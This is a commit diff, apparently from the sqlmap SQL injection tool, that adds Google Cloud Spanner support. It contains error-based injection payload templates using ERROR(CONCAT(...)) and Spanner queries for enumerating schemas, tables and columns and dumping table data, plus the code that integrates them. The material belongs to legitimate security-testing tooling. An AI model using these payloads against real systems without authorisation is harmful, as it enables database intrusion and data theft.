Skip to content

Commit 79c9db1

Browse files
committed
Adding support for Spanner DBMS (#6025)
1 parent 7ad4d67 commit 79c9db1

File tree

11 files changed

+148
-10
lines changed

11 files changed

+148
-10
lines changed

data/xml/errors.xml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -245,4 +245,8 @@
245245
<error regexp="000904 \(42000\):"/>
246246
<error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
247247
</dbms>
248+
249+
<dbms value="Spanner">
250+
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
251+
</dbms>
248252
</root>

data/xml/payloads/error_based.xml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -911,6 +911,43 @@
911911
</details>
912912
</test>
913913

914+
<test>
915+
<title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
916+
<stype>2</stype>
917+
<level>5</level>
918+
<risk>1</risk>
919+
<clause>1,2,3,8,9</clause>
920+
<where>1</where>
921+
<vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
922+
<request>
923+
<payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
924+
</request>
925+
<response>
926+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
927+
</response>
928+
<details>
929+
<dbms>Spanner</dbms>
930+
</details>
931+
</test>
932+
933+
<test>
934+
<title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
935+
<stype>2</stype>
936+
<level>5</level>
937+
<risk>3</risk>
938+
<clause>1,2,3,8,9</clause>
939+
<where>1</where>
940+
<vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
941+
<request>
942+
<payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
943+
</request>
944+
<response>
945+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
946+
</response>
947+
<details>
948+
<dbms>Spanner</dbms>
949+
</details>
950+
</test>
914951
<!--
915952
TODO: if possible, add payload for SQLite, Microsoft Access,
916953
and SAP MaxDB - no known techniques at this time

data/xml/queries.xml

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1843,4 +1843,67 @@
18431843
<search_table/>
18441844
<search_column/>
18451845
</dbms>
1846+
1847+
<dbms value="Spanner">
1848+
<cast query="CAST(%s AS STRING)"/>
1849+
<length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
1850+
<isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
1851+
<delimiter query="||"/>
1852+
<limit query="LIMIT %d OFFSET %d"/>
1853+
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
1854+
<limitgroupstart query="2"/>
1855+
<limitgroupstop query="1"/>
1856+
<limitstring query=" OFFSET "/>
1857+
<order query="ORDER BY %s ASC"/>
1858+
<count query="COUNT(%s)"/>
1859+
<comment query="--" query2="#"/>
1860+
<substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
1861+
<concatenate query="%s||%s"/>
1862+
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
1863+
<hex query="TO_HEX(CAST(%s AS BYTES))"/>
1864+
<inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
1865+
<banner query="'Google Cloud Spanner'"/>
1866+
<current_user/>
1867+
<current_db/>
1868+
<hostname/>
1869+
<table_comment/>
1870+
<column_comment/>
1871+
<is_dba/>
1872+
<users/>
1873+
<passwords/>
1874+
<privileges/>
1875+
<roles/>
1876+
<statements>
1877+
<inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
1878+
<blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
1879+
</statements>
1880+
<dbs>
1881+
<inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
1882+
<blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
1883+
</dbs>
1884+
<tables>
1885+
<inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
1886+
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
1887+
</tables>
1888+
<columns>
1889+
<inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
1890+
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
1891+
</columns>
1892+
<dump_table>
1893+
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
1894+
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
1895+
</dump_table>
1896+
<search_db>
1897+
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
1898+
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
1899+
</search_db>
1900+
<search_table>
1901+
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
1902+
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
1903+
</search_table>
1904+
<search_column>
1905+
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
1906+
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
1907+
</search_column>
1908+
</dbms>
18461909
</root>

lib/controller/handler.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@
4242
from lib.core.settings import VERTICA_ALIASES
4343
from lib.core.settings import VIRTUOSO_ALIASES
4444
from lib.core.settings import SNOWFLAKE_ALIASES
45+
from lib.core.settings import SPANNER_ALIASES
4546
from lib.utils.sqlalchemy import SQLAlchemy
4647

4748
from plugins.dbms.access import AccessMap
@@ -73,6 +74,7 @@
7374
from plugins.dbms.vertica import VerticaMap
7475
from plugins.dbms.virtuoso import VirtuosoMap
7576
from plugins.dbms.snowflake import SnowflakeMap
77+
from plugins.dbms.spanner import SpannerMap
7678

7779
def setHandler():
7880
"""
@@ -110,6 +112,7 @@ def setHandler():
110112
(DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
111113
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
112114
(DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
115+
(DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
113116
]
114117

115118
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -410,6 +410,9 @@ def adjustLateValues(self, payload):
410410
"""
411411

412412
if payload:
413+
if Backend.isDbms(DBMS.SPANNER):
414+
payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
415+
413416
for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
414417
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
415418
payload = payload.replace(match.group(0), _)
@@ -724,7 +727,7 @@ def concatQuery(self, query, unpack=True):
724727
elif fieldsNoSelect:
725728
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
726729

727-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
730+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
728731
if fieldsExists:
729732
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
730733
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1045,7 +1048,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
10451048
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
10461049
limitedQuery += " %s" % limitStr
10471050

1048-
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
1051+
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
10491052
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
10501053
limitedQuery += " %s" % limitStr
10511054

lib/core/common.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4298,7 +4298,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
42984298
if not conf.noEscape:
42994299
retVal = unsafeSQLIdentificatorNaming(retVal)
43004300

4301-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
4301+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
43024302
retVal = "`%s`" % retVal
43034303
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
43044304
retVal = "\"%s\"" % retVal
@@ -4337,7 +4337,7 @@ def unsafeSQLIdentificatorNaming(name):
43374337
retVal = name
43384338

43394339
if isinstance(name, six.string_types):
4340-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
4340+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER):
43414341
retVal = name.replace("`", "")
43424342
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
43434343
retVal = name.replace("\"", "")

lib/core/dicts.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@
4040
from lib.core.settings import VIRTUOSO_ALIASES
4141
from lib.core.settings import CLICKHOUSE_ALIASES
4242
from lib.core.settings import SNOWFLAKE_ALIASES
43+
from lib.core.settings import SPANNER_ALIASES
4344

4445
FIREBIRD_TYPES = {
4546
261: "BLOB",
@@ -252,6 +253,7 @@
252253
DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
253254
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
254255
DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
256+
DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
255257
}
256258

257259
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -292,6 +294,7 @@
292294
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
293295
DBMS.CLICKHOUSE: "halfMD5(NULL)",
294296
DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
297+
DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
295298
}
296299

297300
SQL_STATEMENTS = {

lib/core/enums.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,7 @@ class DBMS(object):
6161
RAIMA = "Raima Database Manager"
6262
VIRTUOSO = "Virtuoso"
6363
SNOWFLAKE = "Snowflake"
64+
SPANNER = "Spanner"
6465

6566
class DBMS_DIRECTORY_NAME(object):
6667
ACCESS = "access"
@@ -92,6 +93,7 @@ class DBMS_DIRECTORY_NAME(object):
9293
RAIMA = "raima"
9394
VIRTUOSO = "virtuoso"
9495
SNOWFLAKE = "snowflake"
96+
SPANNER = "spanner"
9597

9698
class FORK(object):
9799
MARIADB = "MariaDB"

lib/core/settings.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -298,6 +298,7 @@
298298
RAIMA_SYSTEM_DBS = ("",)
299299
VIRTUOSO_SYSTEM_DBS = ("",)
300300
SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
301+
SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
301302

302303
# Note: (<regular>) + (<forks>)
303304
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -329,13 +330,14 @@
329330
RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
330331
VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
331332
SNOWFLAKE_ALIASES = ("snowflake",)
333+
SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
332334

333335
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
334336

335-
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES)
337+
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
336338
SUPPORTED_OS = ("linux", "windows")
337339

338-
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES))
340+
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
339341

340342
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
341343
REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -349,6 +351,7 @@
349351
VERTICA_DEFAULT_SCHEMA = "public"
350352
MCKOI_DEFAULT_SCHEMA = "APP"
351353
CACHE_DEFAULT_SCHEMA = "SQLUser"
354+
SPANNER_DEFAULT_SCHEMA = "default"
352355

353356
# DBMSes where OFFSET mechanism starts from 1
354357
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))

0 commit comments

Comments
 (0)